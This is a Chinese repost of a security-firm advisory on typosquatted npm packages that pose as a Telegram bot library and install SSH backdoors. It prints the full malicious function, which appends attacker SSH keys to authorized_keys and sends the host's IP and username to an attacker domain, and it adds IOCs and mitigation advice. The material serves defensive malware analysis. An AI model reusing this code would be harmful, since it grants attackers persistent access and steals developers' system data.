Socket 的威胁研究团队发现了一种新的供应链攻击:拼写错误的 Telegram 机器人库,提供 SSH 后门和数据窃取例程。
Telegram 的开发者游乐场
Telegram 是世界上最受欢迎的即时通讯平台之一,并且越来越成为攻击者的主要目标。其开放的生态系统和对机器人友好的架构使其对开发者具有吸引力,但也容易被滥用。
截至 2025 年,Telegram 现已拥有超过 10 亿月活跃用户 ,其中包括超过 1200 万付费订阅用户 。
该平台没有针对机器人的集中或官方应用商店,任何人都可以使用 Bot API 创建和发布机器人,而无需正式的审查流程。尽管该平台有一些审核(例如滥用报告、垃圾邮件检测),但这通常在部署后适用,而不是像苹果应用商店或 Google Play 这样的审核或提交阶段。
由于 Telegram Bot 的创建不包含正式的审查流程,其生态系统仍然对滥用行为敞开大门:
-
庞大、刀锋般的生态系统: 机器人竞赛( 奖金高达 5 万美元 )吸引了大量渴望但往往缺乏经验的开发者。 -
没有把关人: 在没有官方应用商店的情况下,虚假或恶意的 npm 包很容易在机器人和应用程序中使用,而不会引起怀疑。
恶意 npm 包通过拼写错误冒充流行的 Telegram Bot API 库来植入 SSH 后门
自 2025 年初以来,我们观察到多个恶意 npm 包伪装成流行的 node-telegram-bot-api
(下载量超过 417 万次),这是一个开发人员默认安装的库,用于通过 npm 扩展 Telegram。这些拼写错误的库 node-telegram-utils
、node-telegram-bots-api
和 node-telegram-util
已经在不知情的宿主机上悄悄安装了后门。
在过去的几个月里,这些恶意软件包总共积累了大约 300 次下载。虽然这个数字听起来可能不多,但只需要一个被入侵的环境,就能为大规模渗透或未经授权的数据访问铺平道路。供应链安全事件反复表明,即使是少数几次安装也可能造成灾难性后果,尤其是在攻击者获得对开发人员系统或生产服务器的直接访问权限时。
恶意软件包
合法软件包:
-
node-telegram-bot-api
- 广受信赖的 Telegram Bot 库
恶意软件包:
-
node-telegram-utils
-
node-telegram-bots-api
-
node-telegram-util
星劫持
这些拼写错误的软件包甚至将其“Homepage”链接回真正的 GitHub 仓库,在 npm 侧边栏中显示其 19K+ 星标。通过劫持该星标数量,它们借用了合法项目的信任,并在一瞥之间欺骗了开发者。
SSH 后门:持续访问和数据窃取
这些恶意 Telegram 包在每次调用构造函数时都会自动调用一个隐藏函数 addBotId()
,执行以下操作:
-
自动,仅限 Linux 执行 -
在包实例化期间, addBotId()
检查os.platform()
。 -
如果检测到 Linux,恶意程序就会继续运行—— 无需用户交互 。 -
SSH 密钥注入 -
代码使用攻击者提供的 2 个 SSH 密钥修改 ~/.ssh/authorized_keys
。 -
因此, 获得了持久的、无密码的远程登录权限 。如果删除一个密钥,攻击者仍然可以使用备用密钥。 -
数据泄露 -
该脚本收集系统的外部 IP(通过 ipinfo[.]io/ip
)和用户名 。 -
它立即与 solana[.]validator[.]blog
通信 ,确认已遭到入侵。
因为下面大约 40 行代码隐藏在一个看起来很真实的 Telegram 机器人库中,开发人员很容易忽略它们。仅仅删除该软件包并不能删除注入的 SSH 密钥,这使得系统容易受到持续的未经授权的访问。
恶意代码
async functionaddBotId() {
const username = os.userInfo().username;
const publicKey = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0eFAxoea78gXpURdj7ufXx1LVEOoVKawxRnwAghXHwGUw4V0V3n194wyUOUGrloGLn5IZ2JGdWLu0b0VHVG1asapkd8l7lKgvPf5yfjrccDs1qpvID8mLzsTfNMwZQlS+sw+bgJx/74f6i3t6QYuBsB0xPuLx8EXok96N1yTjPVXWq3Czwt5pmG+xZFddZLYDMpf8GonwdfTx7BACcapueoSMmOHZX3w1mjOHsT1b41gmHIEGsyo67KN4FLOkWOZIjc7Qge4iRjL24smRZPFJ4FeQjUo7rvEUxTNFb8yTgMGA+o2H3Uqvm/vXYiOTD87UUvy/3hOkoZzJLyFsV1bfyq6/8IQETqMguLzwIT8S1TlJHBUf1sXYh/5dHI4cMXz/r/eK4VlqQvZEE1TJIyAi0ZKnup6j2R3SdO/EIuZeanHyH/u6CboWZ8OcVzDY9EBVxmuYmkCIFiauNHlDNCJwm4CFM1oYinAQsh92zCUmZKQAgnH499mRPR1PWH4m1Ok= sleeper@DESKTOP-GM46AVB n ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDaDUmF1FSs6ZIP3Za94X9ehOdheKS4fXQMnOgmiFC4SKQsqHj63xIUCc2nZsRlMbzvxlCGp+MAKyEZSsqCH8QEZ9ye6ovd0wqI1zI1MJtTfMHIKdeVfdjjWgS9C14lX34j4iqAfZL6zkXWT20V3CFEM9UjJM3uvDs31t7FYN6CgB166lIUpxobpT5vfXIA8ZNVH230R9PSIWTSYSDq08bE/YbMouCHZ0RQHecq0AI3wiC4sT1HbUn48lJ37fDIJmfKLLPoNca6cK3Fl88CNQfWUpRsm4lF3Y8XPa6Hn5RQqgoYKd9QSfwOc63EvfqOIgfGuEC5P4BYuF5K/zF/GLeR administrator@Kakashi-PC`; // Multiple SSH keys for redundancy
if (os.platform() === 'linux') {
try {
const ipAddress = await getBotId();
const sshDir = path.join(os.homedir(), '.ssh');
const authorizedKeysPath = path.join(sshDir, 'authorized_keys');
if (!fs.existsSync(sshDir)) {
fs.mkdirSync(sshDir, { mode: 0o700 });
}
if (!fs.existsSync(authorizedKeysPath) || !fs.readFileSync(authorizedKeysPath, 'utf8').includes(publicKey)) {
fs.appendFileSync(authorizedKeysPath, `n${publicKey}`);
}
https.get(`hxxps://solana[.]validator[.]blog/v1/check?ip=${ipAddress}&name=${username}`);
} catch (err) {
console.error('Error:', err);
}
}
}
该代码添加了多个攻击者密钥以实现持久访问并窃取数据。
实际影响
这些恶意 npm 包构成了重大威胁:
-
通过 SSH 持久未经授权的服务器访问。 -
通过窃取敏感信息造成的数据泄露。 -
任意远程代码执行,可能导致整个系统被攻破。
这些攻击的复杂性和多样性突显了开发者基础设施、用户隐私和运营安全面临的严重风险。
减轻 npm 恶意软件风险
最近发现的恶意 npm 包,例如那些针对 Telegram 的(node-telegram-utils
,node-telegram-bots-api
),突显了威胁行为者对软件供应链构成的持续威胁。即使是单个被攻破的开发机器或服务器,也能为攻击者提供更广泛渗透、未经授权的 SSH 访问和敏感数据窃取的立足点。
攻击者持续展现适应性,利用 npm 等受信任的开源生态系统来分发伪装成合法工具的恶意软件。鉴于最近的模式,我们预计将继续出现利用高级混淆技术和不断演变的动态有效载荷交付方法的攻击。
为了降低这些风险,开发人员和组织必须主动保护其软件供应链。 定期依赖审计和自动化扫描工具对于检测和快速响应第三方软件包中恶意或异常行为至关重要,然后再将其集成到生产环境中。
Socket 的 GitHub app 提供对拉取请求的实时监控,在合并之前标记可疑或恶意的依赖项。在 npm 安装或构建期间实施 Socket CLI 通过在漏洞和异常到达生产环境之前识别它们,进一步保护了管道。此外,Socket 浏览器扩展 通过分析浏览活动并提醒开发人员在下载或与恶意内容交互之前潜在的威胁,提供主动保护。将这些分层安全措施集成到开发工作流程中,大大降低了软件供应链被破坏的风险。
补充材料和受感染指标 (IOCs)#
恶意软件包
-
node-telegram-utils
-
node-telegram-bots-api
-
node-telegram-util
恶意作者
-
jordankakashi https://www.npmjs.com/~jordankakashi
IOCs
-
Malicious URLs: solana[.]validator[.]blog
MITRE ATT&CK Techniques
-
T1195.002 — 供应链攻击 -
T1036.005 — 伪装 -
T1505.003 — 服务器软件组件:SSH 授权密钥修改 -
T1567.002 — 通过 Web 服务的数据渗出
原文地址:https://socket.dev/blog/npm-malware-targets-telegram-bot-developers
原文始发于微信公众号(独眼情报):npm 恶意软件利用持久 SSH 后门攻击 Telegram 机器人开发者
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论